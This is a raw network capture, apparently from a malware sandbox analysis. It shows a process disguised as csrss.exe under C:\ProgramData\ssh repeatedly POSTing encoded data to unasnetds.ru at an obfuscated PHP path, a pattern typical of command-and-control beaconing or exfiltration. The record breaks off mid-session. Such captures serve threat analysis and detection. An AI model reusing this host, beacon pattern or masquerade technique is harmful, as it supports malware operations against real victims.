Jan 3, 2025 11:48:54.615757942 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	51971	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:54.656033993 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:55.002960920 CET	1756	OUT	Data Raw: 5a 53 5b 5c 58 59 55 5e 5a 5d 59 57 59 58 5b 50 5f 53 54 54 50 5c 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS[\XYU^Z]YWYX[P_STTP\[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-"(7^%=3Y>;6?'Q&#/-&=<[> \'%^.8
Jan 3, 2025 11:48:55.085510015 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:55.263932943 CET	947	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NlNhJSFRtbcu%2BFxZ9CPzHcJh4PKyCjuAMYUrVnq7DqJX3Y1KEyF7nE4LAOBVMRTYjaw0a3dKZKsHFuEw8tkIAJNdIJ25FIRvUJCGZOo9JeGiDkcofa%2BKN%2FMcI6Lo8EM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b4fffb0330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3625&min_rtt=2014&rtt_var=3978&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=97947&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 02 20 2e 30 03 26 29 01 1d 27 5c 3d 56 22 19 2e 58 39 07 2d 16 27 5a 2b 54 29 5f 24 0e 27 11 03 5e 3d 5e 22 0e 25 2c 3d 5b 31 13 2e 59 0d 11 3b 07 3c 3c 2c 0d 29 07 09 08 2a 11 0d 1a 27 2c 2b 02 3e 15 38 04 2b 0b 2c 57 23 11 31 55 28 31 21 55 2a 24 0f 5f 29 32 23 11 25 25 2c 5e 0b 12 24 55 28 32 22 0d 23 0f 1c 06 24 3e 3f 5a 30 3a 05 52 21 0d 0e 18 25 28 3c 5c 2f 0c 3a 08 25 37 34 1d 3d 06 0e 17 37 28 32 1b 2b 2d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98" .0&)'\=V".X9-'Z+T)_$'^=^"%,=[1.Y;<<,)',+>8+,W#1U(1!U$_)2#%%,^$U(2"#$>?Z0:R!%(<\/:%74=7(2+-'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	51972	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:54.885575056 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:55.237801075 CET	1040	OUT	Data Raw: 5a 56 5e 5a 5d 58 55 5b 5a 5d 59 57 59 56 5b 57 5f 5b 54 5e 50 5b 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV^Z]XU[Z]YWYV[W_[T^P[[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$9?V#+'S4 <0$>;%_:;%-)7?2P'?+<,:Y=> \'%^.
Jan 3, 2025 11:48:55.357649088 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:55.600039005 CET	806	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qU9asJyz6DXfQO6lCqp%2Fh2eeS29iuLxQtils9QXQL3JIKkDqy9tJNjZeK%2FHbT7SAoiiF8USB1oRyINuYImBhMGB%2FmvJW39gpXoXV%2BnfJm%2F35%2B5ZPCyS%2Bv2N467dJ7DU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b51af41427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3624&min_rtt=1648&rtt_var=4571&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=83619&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	51973	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:55.725686073 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:56.081434011 CET	1040	OUT	Data Raw: 5a 51 5e 5e 5d 59 55 5b 5a 5d 59 57 59 59 5b 54 5f 50 54 5f 50 5c 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ^^]YU[Z]YWYY[T_PT_P\[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,<1#+U43'['-0<]&?:02=&"?)%</=/&+. \'%^.
Jan 3, 2025 11:48:56.177251101 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:56.346363068 CET	803	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=36Gy13QeiiChdR6fkS6zOWp4gQ03d%2B1XNNQIimS6aLSfXOfN6w57Joda%2F%2FXXvQSoTTIBSae3jzyGE5jcpIIPH1KhHTAnXIMTA8ObC3zlaIpr%2Feozb7wEhn%2FhzLubFos%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b56d91ade97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3086&min_rtt=1454&rtt_var=3810&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=100585&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	51974	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:56.472827911 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:56.832779884 CET	1040	OUT	Data Raw: 5a 57 5b 59 5d 52 55 5e 5a 5d 59 57 59 59 5b 50 5f 56 54 5a 50 58 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[Y]RU^Z]YWYY[P_VTZPX[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-Y2W5U!0'X03\<+1+)(&-1 ?1<'+9) \'%^.
Jan 3, 2025 11:48:56.915946960 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:57.169044971 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vq4gM1Mq6HO4mhxeetkmiG4AGMpJeQMLe9o3x%2F4gYxrUCiBhG%2BkbSkzeJaGPUJ8B33NBlaNwA0TtGpA6fI4EGVXMm1YRjwR6QryMY9ADUudB2tPcd3soIy4UIfxwS2M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b5b7cb55e71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2681&min_rtt=1599&rtt_var=2763&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=142369&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	51975	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:57.427813053 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:57.785038948 CET	1040	OUT	Data Raw: 5f 51 5e 5b 5d 58 55 5a 5a 5d 59 57 59 5d 5b 5b 5f 51 54 5c 50 5a 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q^[]XUZZ]YWY][[_QT\PZ[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'-U!]/U!#'[03\<_++W2149&(<"\= \'%^.,
Jan 3, 2025 11:48:57.877693892 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:58.140975952 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S8DshP84tnj5xCKuRssTYlIoJqbqAKXWRmfTgrb6Q%2BdA1AMdHes2s65AQLdoJ27E9qF7v%2F6b4C9xNfKACL091StyoWaf3xtzpNEdUi5aD7%2BWZQfuhyOVKN50ChOr7Yk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b6178807d1c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2050&min_rtt=1945&rtt_var=940&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=523860&cwnd=156&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	51976	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:58.285161972 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:58.644009113 CET	1040	OUT	Data Raw: 5a 55 5e 5e 58 59 55 58 5a 5d 59 57 59 57 5b 5a 5f 50 54 5b 50 5e 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU^^XYUXZ]YWYW[Z_PT[P^[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X:<2T!$#;3$?;+?%%"?)%Y/<<!=> \'%^.
Jan 3, 2025 11:48:58.728967905 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:58.986650944 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r2pKWHEgyaStH6G4ewoE1qZOtw2NPtkaEWUPubcv1HmJc6StsPTV6EOQ3zvxnh9NQgzoFtvQE3vJAVmR4%2FLiiLI%2F6AhG3FYfsAoBp9m6FPkn3ndTGYjTLy5dgLrThTQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b66cb6542e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2490&min_rtt=1621&rtt_var=2346&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=170242&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	51977	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:59.114614964 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:59.472506046 CET	1032	OUT	Data Raw: 5f 52 5e 5a 58 5f 50 5c 5a 5d 59 57 59 5e 5b 51 5f 55 54 59 50 5b 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R^ZX_P\Z]YWY^[Q_UTYP[[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,!"]0 $0(]>+?&.=R#9%,#<<)> \'%^.(
Jan 3, 2025 11:48:59.586544037 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:59.841639042 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=veclmM1ELNRgZgWsMwe2pfQp9r5yEvq4dwAf5v%2BhOFD3hPyvTnFSZJOAFgnKz8YotKUTp6MomXKNZUUkHY8LMFJD3DZ8UkzO2R08RdKveF1DMHJDhr%2B1BSjbrYnoenw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b6c1a61434b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3312&min_rtt=1552&rtt_var=4102&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=93398&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	51978	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:49:00.710151911 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:49:01.066234112 CET	1756	OUT	Data Raw: 5a 57 5e 5a 5d 5c 50 59 5a 5d 59 57 59 5d 5b 53 5f 52 54 5e 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW^Z]\PYZ]YWY][S_RT^PX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[-2V!8 #0?'=3<(=_**'T1[%T#Y>'/$=,:Y=> \'%^.,
Jan 3, 2025 11:49:01.153712034 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:49:01.458920002 CET	950	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pt3NwDRSKA%2B1nccht3HspID2%2BaiNlLaM4vgvTYQkdbgwQn2Lts8K5C6yZxrjpdO7JtLkI8hOpKEBSD2CY2IB2rI9BSjueV7eAvm1kpla%2BljqHE%2B33w3dwJm9R7Z3nbU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b75fd9841f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2238&min_rtt=1698&rtt_var=1717&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=242565&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 04 37 00 2f 5d 33 39 38 0a 33 3a 03 53 21 0e 3e 58 3a 39 2d 5b 27 5a 24 0c 3e 07 27 56 30 06 3e 07 29 38 3d 56 31 02 0f 1c 27 29 2e 59 0d 11 38 19 3c 5a 2f 54 3e 39 3c 1d 29 59 30 45 30 05 23 06 2a 05 34 04 3c 31 20 52 20 3c 21 18 29 0f 29 56 2a 24 2d 19 29 0c 3c 05 26 0f 2c 5e 0b 12 24 57 3c 32 3a 0d 20 57 35 5d 31 3d 28 05 27 3a 37 55 20 30 2c 55 27 5d 28 5d 2c 32 25 53 31 37 09 06 28 2b 3c 5a 22 3b 3d 0b 3f 07 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98"7/]3983:S!>X:9-['Z$>'V0>)8=V1').Y8<Z/T>9<)Y0E0#4<1 R <!))V$-)<&,^$W<2: W5]1=(':7U 0,U'](],2%S17(+<Z";=?'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	51979	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:49:00.842634916 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:49:01.191135883 CET	1040	OUT	Data Raw: 5a 57 5b 5b 58 5b 55 5b 5a 5d 59 57 59 56 5b 55 5f 5a 54 5e 50 5e 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[[X[U[Z]YWYV[U_ZT^P^[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$\-Y*T";!3+3=3?;?:#V'=7:P%Y'(,>. \'%^.
Jan 3, 2025 11:49:01.301657915 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:49:01.552546024 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NNOBJyYXqj2DyEZQgPjAX1uxn%2FqDfbZb%2B6Fw2E44LTYBBlfUYi524iE3vWabsI4IBVyvfhrahGkRSWE8F0YsHMKjg0THF23QZanMk2CytApsiRguj9FdAE4JT4zEsVA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b76d8ea8c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3683&min_rtt=1833&rtt_var=4388&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=87756&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	51980	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:49:01.684351921 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue
Jan 3, 2025 11:49:02.034306049 CET	1032	OUT	Data Raw: 5a 56 5b 50 5d 58 50 5e 5a 5d 59 57 59 5e 5b 52 5f 51 54 58 50 58 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV[P]XP^Z]YWY^[R_QTXPX[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[:=!+'V#/Z%.((&($11W4Y-'/(+?\ \'%^.$
Jan 3, 2025 11:49:02.124478102 CET	25	IN	HTTP/1.1 100 Continue
